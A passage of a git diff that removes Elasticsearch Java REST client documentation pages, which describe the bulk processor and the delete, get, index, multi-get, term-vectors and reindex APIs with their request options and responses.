-`BulkProcessor` should handle requests execution:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-processor-options]
---------------------------------------------------
-<1> Set when to flush a new bulk request based on the number of
-actions currently added (defaults to 1000, use -1 to disable it)
-<2> Set when to flush a new bulk request based on the size of
-actions currently added (defaults to 5Mb, use -1 to disable it)
-<3> Set the number of concurrent requests allowed to be executed
-(default to 1, use 0 to only allow the execution of a single request)
-<4> Set a flush interval flushing any +{request}+ pending if the
-interval passes (defaults to not set)
-<5> Set a constant back off policy that initially waits for 1 second
-and retries up to 3 times. See `BackoffPolicy.noBackoff()`,
-`BackoffPolicy.constantBackoff()` and `BackoffPolicy.exponentialBackoff()`
-for more options.
-
-Once the `BulkProcessor` is created requests can be added to it:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-processor-add]
---------------------------------------------------
-
-The requests will be executed by the `BulkProcessor`, which takes care of
-calling the `BulkProcessor.Listener` for every bulk request.
-
-The listener provides methods to access to the +{request}+ and the +{response}+:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-processor-listener]
---------------------------------------------------
-<1> Called before each execution of a +{request}+, this method allows to know
-the number of operations that are going to be executed within the +{request}+
-<2> Called after each execution of a +{request}+, this method allows to know if
-the +{response}+ contains errors
-<3> Called if the +{request}+ failed, this method allows to know
-the failure
-
-Once all requests have been added to the `BulkProcessor`, its instance needs to
-be closed using one of the two available closing methods.
-
-The `awaitClose()` method can be used to wait until all requests have been
-processed or the specified waiting time elapses:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-processor-await]
---------------------------------------------------
-<1> The method returns `true` if all bulk requests completed and `false` if the
-waiting time elapsed before all the bulk requests completed
-
-The `close()` method can be used to immediately close the `BulkProcessor`:
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-processor-close]
---------------------------------------------------
-
-Both methods flush the requests added to the processor before closing the
-processor and also forbid any new request to be added to it.
diff --git a/docs/java-rest/high-level/document/delete-by-query.asciidoc b/docs/java-rest/high-level/document/delete-by-query.asciidoc
deleted file mode 100644
index f4ef87741e6..00000000000
--- a/docs/java-rest/high-level/document/delete-by-query.asciidoc
+++ /dev/null
@@ -1,131 +0,0 @@
---
-:api: delete-by-query
-:request: DeleteByQueryRequest
-:response: DeleteByQueryResponse
---
-
-[id="{upid}-{api}"]
-=== Delete By Query API
-
-[id="{upid}-{api}-request"]
-==== Delete By Query Request
-
-A +{request}+ can be used to delete documents from an index. It requires an
-existing index (or a set of indices) on which deletion is to be performed.
-
-The simplest form of a +{request}+ looks like this and deletes all documents
-in an index:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Creates the +{request}+ on a set of indices.
-
-By default version conflicts abort the +{request}+ process but you can just
-count them with this:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-conflicts]
---------------------------------------------------
-<1> Set `proceed` on version conflict
-
-You can limit the documents by adding a query.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-query]
---------------------------------------------------
-<1> Only copy documents which have field `user` set to `kimchy`
-
-It’s also possible to limit the number of processed documents by setting `maxDocs`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-maxDocs]
---------------------------------------------------
-<1> Only copy 10 documents
-
-By default +{request}+ uses batches of 1000. You can change the batch size
-with `setBatchSize`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-scrollSize]
---------------------------------------------------
-<1> Use batches of 100 documents
-
-+{request}+ can also be parallelized using `sliced-scroll` with `setSlices`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-slices]
---------------------------------------------------
-<1> set number of slices to use
-
-+{request}+ uses the `scroll` parameter to control how long it keeps the
-"search context" alive.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-scroll]
---------------------------------------------------
-<1> set scroll time
-
-If you provide routing then the routing is copied to the scroll query, limiting the process to the shards that match
-that routing value.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> set routing
-
-
-==== Optional arguments
-In addition to the options above the following arguments can optionally be also provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the delete by query request to be performed as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh index after calling delete by query
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Set indices options
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete By Query Response
-
-The returned +{response}+ contains information about the executed operations and
-allows to iterate over each result as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Get total time taken
-<2> Check if the request timed out
-<3> Get total number of docs processed
-<4> Number of docs that were deleted
-<5> Number of batches that were executed
-<6> Number of skipped docs
-<7> Number of version conflicts
-<8> Number of times request had to retry bulk index operations
-<9> Number of times request had to retry search operations
-<10> The total time this request has throttled itself not including the current throttle time if it is currently sleeping
-<11> Remaining delay of any current throttle sleep or 0 if not sleeping
-<12> Failures during search phase
-<13> Failures during bulk index operation
diff --git a/docs/java-rest/high-level/document/delete.asciidoc b/docs/java-rest/high-level/document/delete.asciidoc
deleted file mode 100644
index 60da9d52787..00000000000
--- a/docs/java-rest/high-level/document/delete.asciidoc
+++ /dev/null
@@ -1,90 +0,0 @@
---
-:api: delete
-:request: DeleteRequest
-:response: DeleteResponse
---
-
-[id="{upid}-{api}"]
-=== Delete API
-
-[id="{upid}-{api}-request"]
-==== Delete Request
-
-A +{request}+ has two required arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-<2> Document id
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Routing value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for primary shard to become available as a `TimeValue`
-<2> Timeout to wait for primary shard to become available as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh policy as a `WriteRequest.RefreshPolicy` instance
-<2> Refresh policy as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version]
---------------------------------------------------
-<1> Version
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version-type]
---------------------------------------------------
-<1> Version type
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Handle the situation where number of successful shards is less than
-total shards
-<2> Handle the potential failures
-
-
-It is also possible to check whether the document was found or not:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the document to be deleted was not found
-
-If there is a version conflict, an `ElasticsearchException` will
-be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-conflict]
---------------------------------------------------
-<1> The raised exception indicates that a version conflict error was returned
-
diff --git a/docs/java-rest/high-level/document/exists.asciidoc b/docs/java-rest/high-level/document/exists.asciidoc
deleted file mode 100644
index 7ca3b82fb86..00000000000
--- a/docs/java-rest/high-level/document/exists.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
---
-:api: exists
-:request: GetRequest
-:response: boolean
---
-
-[id="{upid}-{api}"]
-=== Exists API
-
-The exists API returns `true` if a document exists, and `false` otherwise.
-
-[id="{upid}-{api}-request"]
-==== Exists Request
-
-It uses +{request}+ just like the <<java-rest-high-document-get>>.
-All of its <<java-rest-high-document-get-request-optional-arguments, optional arguments>>
-are supported. Since `exists()` only returns `true` or `false`, we recommend
-turning off fetching `_source` and any stored fields so the request is
-slightly lighter:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-<2> Document id
-<3> Disable fetching `_source`.
-<4> Disable fetching stored fields.
-
-include::../execution.asciidoc[]
-
-
-==== Source exists request
-A variant of the exists request is `existsSource` method which has the additional check
-that the document in question has stored the `source`. If the mapping for the index has opted
-to remove support for storing JSON source in documents then this method will return false
-for documents in this index.
diff --git a/docs/java-rest/high-level/document/get-source.asciidoc b/docs/java-rest/high-level/document/get-source.asciidoc
deleted file mode 100644
index f5a2ca8ec5d..00000000000
--- a/docs/java-rest/high-level/document/get-source.asciidoc
+++ /dev/null
@@ -1,72 +0,0 @@
---
-:api: get-source
-:request: GetSourceRequest
-:response: GetSourceResponse
---
-
-[id="{upid}-{api}"]
-=== Get Source API
-
-This API helps to get only the `_source` field of a document.
-
-[id="{upid}-{api}-request"]
-==== Get Source Request
-
-A +{request}+ requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-<2> Document id
-
-[id="{upid}-{api}-request-optional"]
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-optional]
---------------------------------------------------
-<1> `FetchSourceContext` 's first argument `fetchSource` must be `true`, otherwise
-`ElasticsearchException` get thrown
-<2> Arguments of the context `excludes` and `includes` are optional
-(see examples in Get API documentation)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Routing value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-preference]
---------------------------------------------------
-<1> Preference value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-realtime]
---------------------------------------------------
-<1> Set realtime flag to `false` (`true` by default)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Perform a refresh before retrieving the document (`false` by default)
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Source Response
-
-The returned +{response}+ contains the field `source` that represents the
-source of a document as a map.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/document/get.asciidoc b/docs/java-rest/high-level/document/get.asciidoc
deleted file mode 100644
index 2916eb9335c..00000000000
--- a/docs/java-rest/high-level/document/get.asciidoc
+++ /dev/null
@@ -1,126 +0,0 @@
---
-:api: get
-:request: GetRequest
-:response: GetResponse
---
-
-[id="{upid}-{api}"]
-=== Get API
-
-[id="{upid}-{api}-request"]
-==== Get Request
-
-A +{request}+ requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-<2> Document id
-
-[id="{upid}-{api}-request-optional-arguments"]
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-no-source]
---------------------------------------------------
-<1> Disable source retrieval, enabled by default
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source-include]
---------------------------------------------------
-<1> Configure source inclusion for specific fields
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source-exclude]
---------------------------------------------------
-<1> Configure source exclusion for specific fields
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-stored]
---------------------------------------------------
-<1> Configure retrieval for specific stored fields (requires fields to be
-stored separately in the mappings)
-<2> Retrieve the `message` stored field (requires the field to be stored
-separately in the mappings)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Routing value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-preference]
---------------------------------------------------
-<1> Preference value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-realtime]
---------------------------------------------------
-<1> Set realtime flag to `false` (`true` by default)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Perform a refresh before retrieving the document (`false` by default)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version]
---------------------------------------------------
-<1> Version
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version-type]
---------------------------------------------------
-<1> Version type
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Response
-
-The returned +{response}+ allows to retrieve the requested document along with
-its metadata and eventually stored fields.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Retrieve the document as a `String`
-<2> Retrieve the document as a `Map<String, Object>`
-<3> Retrieve the document as a `byte[]`
-<4> Handle the scenario where the document was not found. Note that although
-the returned response has `404` status code, a valid +{response}+ is
-returned rather than an exception thrown. Such response does not hold any
-source document and its `isExists` method returns `false`.
-
-When a get request is performed against an index that does not exist, the
-response has `404` status code, an `ElasticsearchException` gets thrown
-which needs to be handled as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-indexnotfound]
---------------------------------------------------
-<1> Handle the exception thrown because the index does not exist
-
-In case a specific document version has been requested, and the existing
-document has a different version number, a version conflict is raised:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-conflict]
---------------------------------------------------
-<1> The raised exception indicates that a version conflict error was returned
diff --git a/docs/java-rest/high-level/document/index.asciidoc b/docs/java-rest/high-level/document/index.asciidoc
deleted file mode 100644
index 5a201a02a88..00000000000
--- a/docs/java-rest/high-level/document/index.asciidoc
+++ /dev/null
@@ -1,132 +0,0 @@
---
-:api: index
-:request: IndexRequest
-:response: IndexResponse
---
-
-[id="{upid}-{api}"]
-=== Index API
-
-[id="{upid}-{api}-request"]
-==== Index Request
-
-An +{request}+ requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-string]
---------------------------------------------------
-<1> Index
-<2> Document id for the request
-<3> Document source provided as a `String`
-
-==== Providing the document source
-The document source can be provided in different ways in addition to the
-`String` example shown above:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-map]
---------------------------------------------------
-<1> Document source provided as a `Map` which gets automatically converted
-to JSON format
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-xcontent]
---------------------------------------------------
-<1> Document source provided as an `XContentBuilder` object, the Elasticsearch
-built-in helpers to generate JSON content
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-shortcut]
---------------------------------------------------
-<1> Document source provided as `Object` key-pairs, which gets converted to
-JSON format
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Routing value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for primary shard to become available as a `TimeValue`
-<2> Timeout to wait for primary shard to become available as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh policy as a `WriteRequest.RefreshPolicy` instance
-<2> Refresh policy as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version]
---------------------------------------------------
-<1> Version
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-version-type]
---------------------------------------------------
-<1> Version type
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-op-type]
---------------------------------------------------
-<1> Operation type provided as an `DocWriteRequest.OpType` value
-<2> Operation type provided as a `String`: can be `create` or `index` (default)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-pipeline]
---------------------------------------------------
-<1> The name of the ingest pipeline to be executed before indexing the document
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Index Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Handle (if needed) the case where the document was created for the first
-time
-<2> Handle (if needed) the case where the document was rewritten as it was
-already existing
-<3> Handle the situation where number of successful shards is less than
-total shards
-<4> Handle the potential failures
-
-If there is a version conflict, an `ElasticsearchException` will
-be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-conflict]
---------------------------------------------------
-<1> The raised exception indicates that a version conflict error was returned
-
-Same will happen in case `opType` was set to `create` and a document with
-same index and id already existed:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-optype]
---------------------------------------------------
-<1> The raised exception indicates that a version conflict error was returned
diff --git a/docs/java-rest/high-level/document/multi-get.asciidoc b/docs/java-rest/high-level/document/multi-get.asciidoc
deleted file mode 100644
index 18f94d123d6..00000000000
--- a/docs/java-rest/high-level/document/multi-get.asciidoc
+++ /dev/null
@@ -1,134 +0,0 @@
---
-:api: multi-get
-:request: MultiGetRequest
-:response: MultiGetResponse
---
-
-[id="{upid}-{api}"]
-=== Multi-Get API
-
-The `multiGet` API executes multiple <<java-rest-high-document-get,`get`>>
-requests in a single http request in parallel.
-
-[id="{upid}-{api}-request"]
-==== Multi-Get Request
-
-A +{request}+ is built empty and you add `MultiGetRequest.Item`s to configure
-what to fetch:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-<2> Document id
-<3> Add another item to fetch
-
-==== Optional arguments
-
-`multiGet` supports the same optional arguments that the
-<<java-rest-high-document-get-request-optional-arguments,`get` API>> supports.
-You can set most of these on the `Item`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-no-source]
---------------------------------------------------
-<1> Disable source retrieval, enabled by default
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source-include]
---------------------------------------------------
-<1> Configure source inclusion for specific fields
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source-exclude]
---------------------------------------------------
-<1> Configure source exclusion for specific fields
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-stored]
---------------------------------------------------
-<1> Configure retrieval for specific stored fields (requires fields to be
-stored separately in the mappings)
-<2> Retrieve the `foo` stored field (requires the field to be stored
-separately in the mappings)
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-item-extras]
---------------------------------------------------
-<1> Routing value
-<2> Version
-<3> Version type
-
-{ref}/search-search.html#search-preference[`preference`],
-{ref}/docs-get.html#realtime[`realtime`]
-and
-{ref}/docs-get.html#get-refresh[`refresh`] can be set on the main request but
-not on any items:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-top-level-extras]
---------------------------------------------------
-<1> Preference value
-<2> Set realtime flag to `false` (`true` by default)
-<3> Perform a refresh before retrieving the document (`false` by default)
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Multi Get Response
-
-The returned +{response}+ contains a list of `MultiGetItemResponse`s in
-`getResponses` in the same order that they were requested.
-`MultiGetItemResponse` contains *either* a
-<<java-rest-high-document-get-response, `GetResponse`>> if the get succeeded
-or a `MultiGetResponse.Failure` if it failed. A success looks just like a
-normal `GetResponse`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getFailure` returns null because there isn't a failure.
-<2> `getResponse` returns the `GetResponse`.
-<3> Retrieve the document as a `String`
-<4> Retrieve the document as a `Map<String, Object>`
-<5> Retrieve the document as a `byte[]`
-<6> Handle the scenario where the document was not found. Note that although
-the returned response has `404` status code, a valid `GetResponse` is
-returned rather than an exception thrown. Such response does not hold any
-source document and its `isExists` method returns `false`.
-
-When one of the subrequests as performed against an index that does not exist
-`getFailure` will contain an exception:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-indexnotfound]
---------------------------------------------------
-<1> `getResponse` is null.
-<2> `getFailure` isn't and contains an `Exception`.
-<3> That `Exception` is actually an `ElasticsearchException`
-<4> and it has a status of `NOT_FOUND`. It'd have been an HTTP 404 if this
-wasn't a multi get.
-<5> `getMessage` explains the actual cause, `no such index`.
-
-In case a specific document version has been requested, and the existing
-document has a different version number, a version conflict is raised:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-conflict]
---------------------------------------------------
-<1> `getResponse` is null.
-<2> `getFailure` isn't and contains an `Exception`.
-<3> That `Exception` is actually an `ElasticsearchException`
-<4> and it has a status of `CONFLICT`. It'd have been an HTTP 409 if this
-wasn't a multi get.
-<5> `getMessage` explains the actual cause, `
diff --git a/docs/java-rest/high-level/document/multi-term-vectors.asciidoc b/docs/java-rest/high-level/document/multi-term-vectors.asciidoc
deleted file mode 100644
index 52d633b2d59..00000000000
--- a/docs/java-rest/high-level/document/multi-term-vectors.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
---
-:api: multi-term-vectors
-:request: MultiTermVectorsRequest
-:response: MultiTermVectorsResponse
-:tvrequest: TermVectorsRequest
---
-
-[id="{upid}-{api}"]
-=== Multi Term Vectors API
-
-Multi Term Vectors API allows to get multiple term vectors at once.
-
-[id="{upid}-{api}-request"]
-==== Multi Term Vectors Request
-There are two ways to create a +{request}+.
-
-The first way is to create an empty +{request}+, and then add individual
-<<java-rest-high-document-term-vectors, term vectors requests>> to it.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Create an empty +{request}+.
-<2> Add the first +{tvrequest}+ to the +{request}+.
-<3> Add the second +{tvrequest}+ for an artificial doc to the +{request}+.
-
-
-The second way can be used when all term vectors requests share the same
-arguments, such as index and other settings. In this case, a template
-+{tvrequest}+ can be created with all necessary settings set, and
-this template request can be passed to +{request}+ along with all
-documents' ids for which to execute these requests.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-template]
---------------------------------------------------
-<1> Create a template +{tvrequest}+.
-<2> Pass documents' ids and the template to the +{request}+.
-
-
-include::../execution.asciidoc[]
-
-
-[id="{upid}-{api}-response"]
-==== Multi Term Vectors Response
-
-+{response}+ allows to get the list of term vectors responses,
-each of which can be inspected as described in
-<<java-rest-high-document-term-vectors>>.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Get a list of `TermVectorsResponse`
-
-
diff --git a/docs/java-rest/high-level/document/reindex.asciidoc b/docs/java-rest/high-level/document/reindex.asciidoc
deleted file mode 100644
index c094a5f1ab7..00000000000
--- a/docs/java-rest/high-level/document/reindex.asciidoc
+++ /dev/null
@@ -1,186 +0,0 @@
---
-:api: reindex
-:request: ReindexRequest
-:response: BulkByScrollResponse
---
-
-[id="{upid}-{api}"]
-=== Reindex API
-
-[id="{upid}-{api}-request"]
-==== Reindex Request
-
-A +{request}+ can be used to copy documents from one or more indexes into a
-destination index.
-
-It requires an existing source index and a target index which may or may not exist pre-request. Reindex does not attempt
-to set up the destination index. It does not copy the settings of the source index. You should set up the destination
-index prior to running a _reindex action, including setting up mappings, shard counts, replicas, etc.
-
-The simplest form of a +{request}+ looks like this:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Creates the +{request}+
-<2> Adds a list of sources to copy from
-<3> Adds the destination index
-
-The `dest` element can be configured like the index API to control optimistic concurrency control. Just leaving out
-`versionType` (as above) or setting it to internal will cause Elasticsearch to blindly dump documents into the target.
-Setting `versionType` to external will cause Elasticsearch to preserve the version from the source, create any documents
-that are missing, and update any documents that have an older version in the destination index than they do in the
-source index.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-versionType]
---------------------------------------------------
-<1> Set the versionType to `EXTERNAL`
-
-Setting `opType` to `create` will cause `_reindex` to only create missing documents in the target index. All existing
-documents will cause a version conflict. The default `opType` is `index`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-opType]
---------------------------------------------------
-<1> Set the opType to `create`
-
-By default version conflicts abort the `_reindex` process but you can just count
-them instead with:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-conflicts]
---------------------------------------------------
-<1> Set `proceed` on version conflict
-
-You can limit the documents by adding a query.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-query]
---------------------------------------------------
-<1> Only copy documents which have field `user` set to `kimchy`
-
-It’s also possible to limit the number of processed documents by setting `maxDocs`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-maxDocs]
---------------------------------------------------
-<1> Only copy 10 documents
-
-By default `_reindex` uses batches of 1000. You can change the batch size with `sourceBatchSize`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-sourceSize]
---------------------------------------------------
-<1> Use batches of 100 documents
-
-Reindex can also use the ingest feature by specifying a `pipeline`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-pipeline]
---------------------------------------------------
-<1> set pipeline to `my_pipeline`
-
-+{request}+ also supports a `script` that modifies the document. It allows you to
-also change the document's metadata. The following example illustrates that.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-script]
---------------------------------------------------
-<1> `setScript` to increment the `likes` field on all documents with user `kimchy`.
-
-+{request}+ supports reindexing from a remote Elasticsearch cluster. When using a remote cluster the query should be
-specified inside the `RemoteInfo` object and not using `setSourceQuery`. If both the remote info and the source query are
-set it results in a validation error during the request. The reason for this is that the remote Elasticsearch may not
-understand queries built by the modern query builders. The remote cluster support works all the way back to Elasticsearch
-0.90 and the query language has changed since then. When reaching older versions, it is safer to write the query by hand
-in JSON.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-remote]
---------------------------------------------------
-<1> set remote elastic cluster
-
-+{request}+ also helps in automatically parallelizing using `sliced-scroll` to
-slice on `_id`. Use `setSlices` to specify the number of slices to use.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-slices]
---------------------------------------------------
-<1> set number of slices to use
-
-+{request}+ uses the `scroll` parameter to control how long it keeps the
-"search context" alive.
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
